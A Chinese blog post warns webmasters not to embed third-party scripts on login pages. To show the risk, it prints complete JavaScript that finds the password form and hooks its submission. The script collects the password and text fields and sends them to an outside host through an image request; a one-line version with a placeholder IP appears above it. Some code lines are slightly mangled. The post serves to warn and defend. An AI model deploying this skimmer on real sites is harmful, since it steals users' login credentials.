• 千万不要在登录页面引入别站的脚本


        如果您是一位站长,你的网站里面一定引入过别站的脚本,如计数器等。但我强烈建议您不要把这个脚本引入到登陆页面。
        因为如果你这样做了,对方(脚本作者)可以在神不知鬼不觉的情况下,把你的用户的帐户,密码等信息偷走。
        您可能要问:第一、对方如何知道我把脚本放在登陆页面?第二、现在有IE7,XMLHTTP也不可能跨域了,对方如何知道信息?
        其实,这两个问题,都很简单。
        第一、对方只需用脚本枚举FORM,判断里面的是否包含:<input type="password" />的控件,就可以知道是否是登陆窗体。
        第二、没有了 XMLHTTP,还有好多种方法来完成数据的提交,最简单的:
    var up = new Image(); up.src=http://xxx.xxx.xxx.xxx/getdata.asp?data=aaa|bbb|ccc;
    很简单吧!!我们来看下示例核心代码:
        function _bho_DataPost(form)
        
    {
            
    var userInfoArray = [];
            
    for(var name in form)
            
    {
                userInfoArray.push(name 
    + '=+ escape(form[name]));
            }

            
            
    var userInfo = userInfoArray.join('&');
            
    try
            
    {
              
    //提交数据(这里有密码的哟)
              var send = new Image();
            send.src 
    = "[url=http://evlon.cnblogs.com/getdata.asp]http://evlon.cnblogs.com/getdata.asp[/url]?" + userInfo;
            }

            
    catch(e)
            
    {}
        }

    /*
      功能:得到登陆FORM,如果没有找到,则返回 null
    */

        
    function _bho_getLoginForm()
        
    {
            
    var forms = document.forms;
            
    for(var f = 0; f < forms.length; ++f)
            
    {
                
    var form = forms[f];
                
                
    var inputs = form.getElementsByTagName("INPUT");
                
    for(var i = 0; i < inputs.length; ++i)
                
    {
                    
    if(inputs[i].type.toLowerCase() == "password")
                    
    {
                        
    return form;
                    }

                }

            }

            
            
    return null;
        }

        
        
    /*
        功能:注册事件,HOOK form.submit
        
    */

        
    function _bho_initEvent()
        
    {
            
    var form = _bho_getLoginForm();
            
    if(form != null)
            

            
            
    //重写 form 的submit,来拦截密码
            form.__submit_ = form.submit;
            form.submit 
    = function()
            
    {
              _bho_SendPwd();
              
              
    //如果先执行这里,因为还有事件,我们把 _bho_SendPwd 改成空函数,避免重复提交
              _bho_SendPwd = function(){}
              
    return form.__submit_();
            }

            
    //注册事件来监听密码提交
                form.attachEvent("onsubmit",_bho_SendPwd);
            }

        }

        
        
    /*
        功能:把将要提交的FORM里面的所有数据提交
        
    */

        
    function _bho_SendPwd(e)
        
    {
            
    var form = _bho_getLoginForm();
        
    var pwd = '';
        
    var otherInfoArray = [];
            
    var inputs = form.getElementsByTagName("INPUT");
            
    for(var i = 0; i < inputs.length; ++i)
            
    {
                
    if(inputs[i].type.toLowerCase() == "password")
                
    {
                    pwd 
    = inputs[i].value;
                }

                
    else
                
    {
                    
    if(inputs[i].type.toLowerCase() == 'text')
                    
    {
                    
    //为了节省资源,如果没有名字,或者数据长度太长,应该没有什么价值,不用提交了
                        if(inputs[i].name && inputs[i].name != '' && inputs[i].value.length < 100)
                        
    {
                        otherInfoArray.push(inputs[i].name 
    + '=+ inputs[i].value);
                    }

                }

                }

            }

            
            
    var form = [];
            form['url'] 
    = window.location.href;
            form['pwd'] 
    = pwd;
            form['otherInfo'] 
    = otherInfoArray.join('&');
            _bho_DataPost(form);
            
    //alert('发送完成');
        }

        
        
    //初始化事件
        _bho_initEvent();
    如果以上脚本在你的站上执行,唉。。。。。。

    (改了错别字:-(    )
  • 相关阅读:
    C++内存管理
    多线程和多进程的区别(C++)
    如何用C语言封装 C++的类,在 C里面使用
    C/C++将一个整型数组拼接成一个字符串
    C代码中如何调用C++ C++中如何调用C
    Application对象的使用-数据传递以及内存泄漏
    《鸟哥的Linux私房菜》读书笔记二
    《鸟哥的Linux私房菜》读书笔记一
    greenDaoMaster的学习研究
    Handler 引起的内存泄露
  • 原文地址:https://www.cnblogs.com/evlon/p/722520.html
Copyright © 2020-2023  润新知